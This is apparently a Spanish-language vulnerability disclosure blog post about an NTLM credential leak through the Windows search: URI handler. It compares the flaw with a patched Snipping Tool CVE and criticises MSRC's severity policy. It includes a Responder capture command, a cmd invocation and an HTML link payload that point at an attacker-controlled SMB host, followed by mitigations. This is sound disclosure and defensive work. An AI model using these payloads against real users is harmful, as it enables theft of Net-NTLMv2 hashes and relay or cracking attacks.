Cuando "moderado" significa "a veces"

Agradecimientos:Un agradecimiento especial a Tyler Bohlmann, Jon Semon, Lindsey O'Donnell-Welch, Aaron Deal, y Beth Robinson por sus aportes y ediciones a este blog. Y un gran agradecimiento a Casey Smith por revisar un borrador de esta publicación y hacer la pregunta incómoda correcta: ¿esto realmente se activa al hacer clic en un enlace, o solo al escribir un comando? Probar la entrega mediante clic en enlace y agregar la captura de pantalla de Edge fue resultado directo de sus comentarios.

El 14 de abril de 2026, Microsoft corrigió CVE-2026-33829, un error de filtración de credenciales NTLM en la herramienta Recortes de Windows, con una puntuación CVSS de 4.3. El problema residía en el controlador de URI ms-screensketch: de la herramienta Recortes, la parte de Windows que decide qué hacer cuando alguien hace clic en un tipo especial de enlace. Técnicamente, el controlador de URI de la herramienta Recortes aceptaba un parámetro filePath, no lo validaba, y se conectaba sin problemas a cualquier ruta UNC que se le indicara. Esa conexión podía activar la autenticación NTLM y exponer el hash Net-NTLMv2 de la víctima. En palabras simples: se podía engañar a un usuario para que hiciera clic en lo que parecía un enlace común, y su computadora intentaría automáticamente "registrarse" con un servidor controlado por el atacante.

Esto importa porque el error no necesitaba malware ni una cadena de explotación complicada para ser útil; abusaba de un comportamiento de autenticación integrado en Windows. Un hash Net-NTLMv2 no es la contraseña sin procesar del usuario, pero sigue siendo un artefacto de autenticación valioso. Un atacante podría capturarlo con herramientas como Responder y luego usarlo en actividades posteriores, como ataques de retransmisión NTLM o intentos de descifrado de contraseñas sin conexión, dependiendo de cómo esté configurado el entorno objetivo. Dicho de forma más simple: la víctima podría no descargar nada malicioso, pero un solo clic podría de todos modos filtrar credenciales en una forma que ayude a un atacante a obtener acceso o moverse más a fondo dentro de una red.

Al día siguiente de que se publicara ese parche, reporté el mismo comportamiento subyacente en un controlador de URI distinto de Windows: search: en lugar de ms-screensketch:, y crumb=location: en lugar de filePath. Las etiquetas cambiaron, pero el impacto de seguridad no. Usaba el mismo mecanismo de filtración NTLM, producía la misma filtración Net-NTLMv2, tenía los mismos requisitos previos y tenía la misma calificación Moderada. MSRC lo cerró. Por debajo del umbral de corrección. Sin CVE, sin solución.

Misma clase de primitiva, mismo proveedor, misma gravedad, resultado opuesto. Esa es la publicación.

El error

Windows 11 23H2 Pro, compilación 22631.6199, usuario estándar tony.soprano en la estación de trabajo NEWJERSEY. Sin privilegios de administrador, sin modo de desarrollador, sin AppX. Defender con configuración predeterminada. Cero alertas. Reproducido de forma independiente en Windows 11 25H2, compilación 26200.8524.

Del lado del atacante, Responder en un equipo Kali en 10.0.1.100:

responder -I eth0 -wv

Del lado de la víctima, desde cmd:

start "" "search:query=test&crumb=location:\\10.0.1.100\share"

La forma start "" con comillas importa. Si pegas el URI directamente en cmd, el & se interpreta como un separador de comandos y cmd intenta ejecutar crumb como su propio comando. La mitad de las personas que intenten reproducir esto se encontrarán con eso y asumirán que está roto. No lo está.

Figura 1: Izquierda: invocación de cmd start "" y el cuadro de diálogo de acceso denegado resultante.
    Derecha: Responder capturando tony.soprano::NEWJERSEY en menos de un segundo después de que se dispara el URI.

Windows le muestra al usuario "Windows no puede acceder a la ruta, el dispositivo o el archivo especificado". El cuadro de diálogo es un recibo. El hash ya salió de la máquina antes de que Windows mostrara el error.

La primera invocación por sesión filtra el hash. Las invocaciones posteriores devuelven acceso denegado hasta que el usuario cierra sesión y vuelve a iniciarla. Para la entrega vía phishing, el primer disparo es el único que importa.

Y sí, el clic en un enlace también funciona…

Figura 2: <a href="search:query=test&crumb=location:\\10.0.1.100\share">click</a> en Edge. Un clic, sin aviso, hash en Responder. El modelo de amenaza es "enviar un enlace".

Dos puertas, una sola habitación

search: y search-ms: están registrados por separado en HKCR. Ambos tienen la misma línea de comandos y el mismo CLSID de DelegateExecute.

Figura 3: El mismo comando, el mismo CLSID de DelegateExecute {90b9bce2-b6db-4fd3-8451-35917ea1081b}. Dos esquemas de URI, una sola ruta de activación COM.

DelegateExecute le indica al shell que delegue la activación del URI a una clase COM en lugar de ejecutar la línea de comandos directamente. Ambos esquemas apuntan al mismo CLSID, que el trabajo de ingeniería inversa de Geoff Chappell reverse-engineering work y la xCyclopedia de Strontic identifican como SearchExecute (también llamado CLSID_SearchMSExecute), implementado en ExplorerFrame.dll. No son manejadores hermanos que simplemente se parezcan. Son dos esquemas de URI conectados a una sola ruta de activación COM dentro de ExplorerFrame.dll, y cualquier validación de entrada que SearchExecute haga o no haga se aplica a ambos.

Eso también significa que cualquier solución real tiene que implementarse en SearchExecute o en el código de Explorer que invoca, no a nivel del esquema de URI. Parchar solo search-ms: no ayudaría.

La primitiva de filtración de rutas UNC mediante crumb=location: en search-ms: fue documentada por Varonis en 2024 y se cerró como de gravedad moderada. El manejador search: como vector de ataque fue documentado por Trellix en 2023. La intersección (el search: simple más crumb=location: para la filtración de NTLM) no figura en el registro público que yo pude encontrar. Pero la novedad técnica está en unir dos hechos ya conocidos. La historia real y nueva es cómo lo clasificó el MSRC.

El problema de la herramienta de recortes

Le pregunté a MSRC qué distingue a los dos. La respuesta, textual:

"Por lo general, solo los casos de gravedad Importante y Crítica cumplen con nuestro criterio para recibir una corrección... Lamentablemente, entran en juego distintos factores que a veces generan excepciones a nuestros procesos estándar."

"Caso por caso." Esa es la regla. CVE-2026-33829 fue la excepción que recibió una corrección. La mía no. El search-ms: de Varonis en 2024 tampoco. La filtración del manejador de URI de WPA de Varonis en 2024 tampoco. Si una filtración de NTLM por un manejador de URI de gravedad Moderada se corrige es, según la propia descripción de Microsoft, algo que depende de excepciones. ¯\_(ツ)_/¯

Cuando señalé que CVE-2026-33829 en sí tenía una calificación de gravedad Moderada, MSRC lo confirmó:

"Sí, CVE-2026-33829 está marcado como de gravedad Moderada, por eso mencioné que no es nuestro proceso habitual publicar CVE para nada que no sea Importante/Crítico. Si nos presentas un informe de cualquier error que cumpla con nuestro criterio para una corrección inmediata con una calificación de gravedad Importante/Crítica, con gusto le asignamos un CVE junto con nuestra versión de corrección, según nuestro proceso."

Es decir: sí, el punto de comparación es Moderada. Ambos son Moderados. La razón por la que uno recibió un CVE y el otro no es que uno fue una excepción y el otro no. Esa es la política, dicha sin rodeos.

Esta publicación llega durante un periodo particularmente activo de discusión pública sobre las prácticas de divulgación y corrección de MSRC. El patrón documentado aquí no es nuevo ni único, solo específico.

Si tu programa de parches clasifica por prioridad según "si Microsoft emitió un CVE", corregiste Snipping Tool el mes pasado y no tienes ninguna señal sobre el error de esta publicación. Ni sobre los de Varonis. Ni sobre lo que venga después.

Mitigación

Bloquea el SMB saliente (TCP/445 y TCP/139) en los endpoints que no lo necesiten. Esta es la mitigación de mayor valor: por sí sola elimina toda esta clase de problema.

Aplica la firma de SMB para que los hashes capturados no puedan retransmitirse contra servicios internos.

Deshabilita NTLM donde puedas. RestrictSendingNTLMTraffic configurado en 2 (denegar todo). Audita primero, esto puede romper cosas.

Genera alertas por URIs search: y search-ms: en el flujo de correo y los registros de proxy. Ninguno pertenece al tráfico legítimo. Si ya generas alertas por search-ms:, agrega search: a la misma regla. La sintaxis es idéntica.

Cronología de divulgación